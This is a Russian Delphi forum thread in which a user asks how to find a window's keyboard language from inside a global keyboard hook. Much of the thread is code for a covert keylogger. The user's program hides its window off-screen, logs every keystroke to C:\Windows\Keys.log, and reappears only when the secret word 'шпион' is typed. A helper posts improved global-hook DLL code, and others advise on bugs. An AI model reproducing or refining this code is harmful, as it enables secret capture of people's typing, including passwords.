Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Как узнать язык в окне? [D7, WinXP]


Страницы:   1 2

Вредитель ©   (2007-12-09 12:01:00) 

Нужен способ узнать язык ввода в окне, от которого приходит  message, пойманное ловушкой WH_KEYBOARD.

  (2008-10-03 06:13:00) [1]

Удалено модератором

  (2008-10-03 06:12:00) [2]

Удалено модератором

  (2008-10-03 00:37:00) [3]

Удалено модератором

вредитель   (2007-12-11 20:14:00) [4]

Сравнению не поддается. Leonid Troyanskiy сказал ужас, я думаю, изза неразбитости кода на процедуры, полусумашедшево механизма показа формы. но оно работает! Ф-ия char не показывает  английские точки запятые,и т. д.    после выделения памяти все заработало, так что за всё спасибо!

Rouse_   (2007-12-11 17:58:00) [5]

Давай лучше я вот так сделаю :)
А ты сравни с тем что у тебя :)

library HookDLL;

uses
 Windows,
 Messages,
 SysUtils;

const
 GlobMapID = 'Global Keyboard Hook Demo {917C91AA-88D5-4134-BB91-15161728594D}';

type
 PShareInf = ^TShareInf;
 TShareInf = record  
   AppWndHandle: HWND;
   OldHookHandle: HHOOK;
   hm:THandle;
 end;

var
 MapHandle: THandle = 0;
 ShareInf: PShareInf = nil;
 ptr:PByteArray;

procedure DLLEntryPoint(dwReason: DWORD); //stdcall;  <- вот это как раз не нужно...
begin
 case dwReason Of
   DLL_PROCESS_ATTACH:
   begin
     // Все данные во избежании разрыва цепочки хуков храним в отображаемом в память процесса файле,
     // только тогда все экземпляры хука будут владеть достоверной информацией
     MapHandle:=CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0, SizeOf(TShareInf), GlobMapID);
     ShareInf:=MapViewOfFile(MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, SizeOf(TShareInf));
   end;
   DLL_PROCESS_DETACH:
   begin
     UnMapViewOfFile(ShareInf);
     CloseHandle(MapHandle);
   end;
 end;
end;

function KeyboardHook(Code: Integer; WParam: WPARAM; LParam: LPARAM): LRESULT;stdcall;
begin
 if Code in [HC_ACTION, HC_NOREMOVE] then
   SendMessage(ShareInf^.AppWndHandle, WM_USER, WParam, Code); // нотифицируем наше приложение о нажатии клавиши
 Result := CallNextHookEx(ShareInf^.OldHookHandle, Code, WParam, LParam); // вызываем след. ловушку
end;

function SetKeyboardHook(Wnd: HWND): BOOL; stdcall;
begin
 if ShareInf <> nil then
 begin
   ShareInf^.AppWndHandle := Wnd;
   ShareInf^.OldHookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHook, HInstance, 0); // <- Обратите внимание, не допускаем главной ошибки
   Result:=ShareInf^.OldHookHandle <> 0;
 end
 else
   Result:=False;
end;

function RemoveKeyboardHook: BOOL; stdcall;
begin
 Result := UnhookWindowsHookEx(ShareInf^.OldHookHandle);
 CloseHandle(ShareInf^.hm);
end;

exports
 SetKeyboardHook, RemoveKeyboardHook;

begin
 DLLProc := @DLLEntryPoint;
 DLLEntryPoint(DLL_PROCESS_ATTACH);
end.

А это приложение :)

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls;

type
 Tmainform = class(TForm)
   Memo1: TMemo;
   procedure FormCreate(Sender: TObject);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
 private
   { Private declarations }
 public
  procedure WMUser(var Message: TMessage); message WM_USER;
 end;

 function SetKeyboardHook(Wnd: HWND): BOOL; stdcall;
   external 'HookDLL.dll' name 'SetKeyboardHook';
 function RemoveKeyboardHook: BOOL; stdcall;
   external 'HookDLL.dll' name 'RemoveKeyboardHook';

var
 mainform: Tmainform;

implementation

{$R *.dfm}

procedure TMainForm.WMUser(var Message: TMessage);
begin
 Memo1.Lines.Add('Code: ' + IntToStr(Message.WParam) + ': ' + Chr(Message.WParam));
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
 if not SetKeyboardHook(Handle) Then
   MessageBox(Handle, 'Unable to set hook', PChar(Application.Title), MB_OK OR MB_ICONHAND);
end;

procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 if not RemoveKeyboardHook Then
   MessageBox(Handle, 'Unable to remove hook', PChar(Application.Title), MB_OK OR MB_ICONHAND);
end;

end.

вредитель   (2007-12-11 17:56:00) [6]

getmem, freemem!

Leonid Troyanovsky   (2007-12-11 17:14:00) [7]


> вредитель ©   (11.12.07 16:41) [26]

> никак. раньше всегда пользовался PAnsiChar без выделения
> памяти... и даже не в курсе, как это делается(да простят
>  меня, молодого и неопытного).

Добро пожаловать к Начинающим.
Все остальное пока, IMHO, смысла не имеет.

--
Regards, LVT.

вредитель   (2007-12-11 16:41:00) [8]

никак. раньше всегда пользовался PAnsiChar без выделения памяти... и даже не в курсе, как это делается(да простят  меня, молодого и неопытного).

Leonid Troyanovsky   (2007-12-11 16:26:00) [9]


> вредитель ©   (11.12.07 15:46) [24]

> и в чем ужас? я знаю, что там много чего можно заменить
> и убрать, но мне бы сделать,

Приводить нужно необходимое количество кода,
достаточное для воспроизведения проблемы.

Достаточность мы понимаем так, что если нашелся
желающий воспроизвести проблему, то ему достачно
легких движений руки для вставки кода в редактор.

Если проблема не связана с dll, то и нечего на этом
этапе ее обсуждать.

Кста, как там у нас с Александром Сергеевичем?

--
Regards, LVT.

вредитель   (2007-12-11 15:46:00) [10]

и в чем ужас? я знаю, что там много чего можно заменить и убрать, но мне бы сделать, чтобы работало, а уж потом остальное!

вредитель   (2007-12-11 15:24:00) [11]

почему он меня позорит, не понимаю, а там, где if hl then-не оттуда скопировал, там просто showmessage!

Leonid Troyanovsky   (2007-12-11 15:16:00) [12]


> Вредитель ©   (11.12.07 14:34) [20]

Какой ужас.

--
Regards, LVT.

Leonid Troyanovsky   (2007-12-11 14:58:00) [13]


> Вредитель ©   (11.12.07 13:59) [16]

> И чего не так?

Для lang память выделять будет Пушкин?

Во-ще-то, человека увлекающегося программированием
приведенный код позорит, особенно,
pid or wm_kbdhook{константа в unit1 и в DLL=0})

--
Regards, LVT.

Вредитель   (2007-12-11 14:34:00) [14]

unit Form;

interface

uses
windows, messages,keytostr,keyboard, sysutils, classes, graphics, controls, forms, dialogs,
stdctrls, ExtCtrls;

const
swm_kbdhook = 'swm_kbdhook';

var
wm_kbdhook : integer = 0;

type
 TForm1 = class(TForm)
   Memo1: TMemo;
   Panel1: TPanel;
   Image1: TImage;
   Panel2: TPanel;
   Image2: TImage;
   Panel3: TPanel;
   Image3: TImage;
   procedure FormDestroy(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure Image1Click(Sender: TObject);
   procedure Image2Click(Sender: TObject);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
   procedure Image3Click(Sender: TObject);
 private
   procedure ShowGeneralWindow;
   procedure apponmessage( var msg: tmsg; var handled: boolean);
 public
   { Public declarations }
 end;

var
 Form1: TForm1;
 st:String;
 lang:pansiChar;
 pid:Cardinal;
 s:String;
 hl:hkl;
 ipressed:boolean=false;
 t:boolean=false;
 counter:integer;
implementation

uses StrUtils;

{$R *.dfm}
{$WARN SYMBOL_PLATFORM OFF}

 function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
lresult stdcall;
external 'kbdhook.dll' index 1;

function hookkeyboard(
hook : boolean ) : boolean; stdcall;
external 'kbdhook.dll' index 2;

procedure TForm1.apponmessage( var msg: tmsg; var handled: boolean);
begin
if (msg.message = wm_kbdhook) then begin
 s:=GetKeyName(msg.lParam);
 if (IsKeyDown(VK_SHIFT)) then begin
  s:=AnsiUpperCase(s);
 end;

  pid :=
   GetWindowThreadProcessId(msg.hwnd, pid);
 AttachThreadInput(GetCurrentThreadId, pid, True);
 VerLanguageName(GetKeyboardLayout(pid) and $FFFF,
   lang, MAXCHAR);
 AttachThreadInput(GetCurrentThreadId, pid, False);

 if hl=lang_english then ShowMessage(lang);

 memo1.Text:=memo1.Text+s;
 handled:=true;
   begin
   if ipressed=true then begin
    st:=st+s;
    counter:=counter+1;
   end;
     if s='ш' then begin
      ipressed:=true;
      st:=s;
      counter:=1;
     end;
    end;

   if (counter=5+(5-1)) then begin
    if st='шпион' then
     begin
      ShowGeneralWindow;
      st:='';
      ipressed:=false;
     end
    else
     begin
      st:='';
      ipressed:=false;
     end;
   end;

end;
end;

procedure TForm1.ShowGeneralWindow;
var i:byte;
begin
Form1.Left:=((Screen.Width div 2)-(Form1.Width div 2));
Form1.Top:=((Screen.Height div 2)-(Form1.Height div 2));
SetFocus;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
hookkeyboard( false );
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
wm_kbdhook := registerwindowmessage( swm_kbdhook );
application.onmessage := apponmessage;
hookkeyboard(true);
Form1.Left:=-600;
end;

procedure TForm1.Image1Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.Image2Click(Sender: TObject);
begin
memo1.Lines.SaveToFile('C:\Windows\Keys.log');
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
memo1.Lines.SaveToFile('C:\Windows\Keys.log');
end;

procedure TForm1.Image3Click(Sender: TObject);
begin
Form1.Left:=-600;
end;

end.

program Loader;

uses
 Forms,windows,
 Form in 'Form.pas' {Form1};

{$R *.res}

var
EStyle : integer;

begin
 Application.Initialize;
 EStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
EStyle or WS_EX_TOOLWINDOW);
 Application.CreateForm(TForm1, Form1);
 Application.Run;
end.

library kbdhook;

{ Important note about DLL memory management: ShareMem must be the
 first unit in your library's USES clause AND your project's (select
 Project-View Source) USES clause if your DLL exports any procedures or
 functions that pass strings as parameters or function results. This
 applies to all strings passed to and from your DLL--even those that
 are nested in records and classes. ShareMem is the interface unit to
 the BORLNDMM.DLL shared memory manager, which must be deployed along
 with your DLL. To avoid using BORLNDMM.DLL, pass string information
 using PChar or ShortString parameters. }

uses
 sysutils,
 windows,
 messages;

{$R *.res}
{$WARN SYMBOL_PLATFORM OFF}

const
swm_kbdhook = 'swm_kbdhook';
var
wm_kbdhook : integer = 0;
var
hookhandle : thandle = 0;

function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
lresult stdcall;
begin
if code < 0 then
result := callnexthookex( hookhandle, code, wparam, lparam )
else begin
postmessage( hwnd_broadcast, wm_kbdhook, wparam, lparam );
result := 0
end;
end;

function hookkeyboard( hook : boolean ) : boolean; stdcall;
begin
result := false;
if hook then begin
if hookhandle = 0 then
hookhandle := setwindowshookex( wh_keyboard, keyboardproc, hinstance,
0 );
result := ( hookhandle <> 0 );
end
else
begin
if hookhandle <> 0 then begin
unhookwindowshookex( hookhandle );
hookhandle := 0;
result := true;
end;
end;
end;

exports
keyboardproc index 1,
hookkeyboard index 2;

begin
wm_kbdhook := registerwindowmessage( swm_kbdhook );
end.

function GetKeyName(key:longint):String ;
begin
case key of
1114113:
 begin
  Result:=('ц');
 end;
 1048577:
 begin
  Result:=('й');
 end;
 1179649:
и т.д.
....
....
....
....
 720897:
 begin
  Result:=('0');
 end;
 3735553:
  Result:=(' ');
end;
end;

Rouse_   (2007-12-11 14:21:00) [15]

Давай код целиком

Вредитель   (2007-12-11 14:17:00) [16]

Это обработчик всех messages, которые приходят форме!

Rouse_   (2007-12-11 14:13:00) [17]

Это что?
procedure TForm1.messageproc( var msg: tmsg; var handled: boolean);

Вредитель   (2007-12-11 13:59:00) [18]

Вызывается он из формы.
Вся конструкция такова: из длл ставится хук WH_KEYBOARD с указанием на процедуру Proc. Proc отсылает пойманное message в Form1 программы Prog. A Form1.OnMessage=messageproc.

var
 lang:pansiChar;
 pid:Cardinal;
 s: String;
 
procedureTForm1.messageproc( var msg: tmsg; var handled: boolean);
begin
if (msg.message = wm_kbdhook{константа в unit1 и в DLL=0}) then begin
 s:=GetKeyName(msg.lParam){Это моя процедура для узнавания keyname};
 if (IsKeyDown(VK_SHIFT)) then begin {Unit keyboard из GLScene}
  s:=AnsiUpperCase(s);
 end;

 pid :=
    GetWindowThreadProcessId(msg.hwnd, pid);
  AttachThreadInput(GetCurrentThreadId, pid, True);
  VerLanguageName(GetKeyboardLayout(pid) and $FFFF,
    lang, MAXCHAR);
  AttachThreadInput(GetCurrentThreadId, pid, False);
             
 ShowMessage(lang);

 memo1.Text:=memo1.Text+s;
 handled:=true;
end;

И чего не так?

Rouse_   (2007-12-11 13:26:00) [19]

Для вызова данного кода библиотека не нужна :)

Вредитель   (2007-12-11 12:16:00) [20]


> WndInfo.dwThreadID :=      GetWindowThreadProcessId(AHandle,
>  WndInfo.dwProcessID);    AttachThreadInput(GetCurrentThreadId,
>  WndInfo.dwThreadID, True);    VerLanguageName(GetKeyboardLayout(WndInfo.
> dwThreadID) and $FFFF,      WndInfo.szLayoutName, MAXCHAR);
>     AttachThreadInput(GetCurrentThreadId, WndInfo.dwThreadID,
>  False);

На MSDN все нашел, спасибо.
Но при первом же  message DLL виснет.

Страницы:   1 2

Наверх

Титульная страница Поиск, карта сайта Написать письмо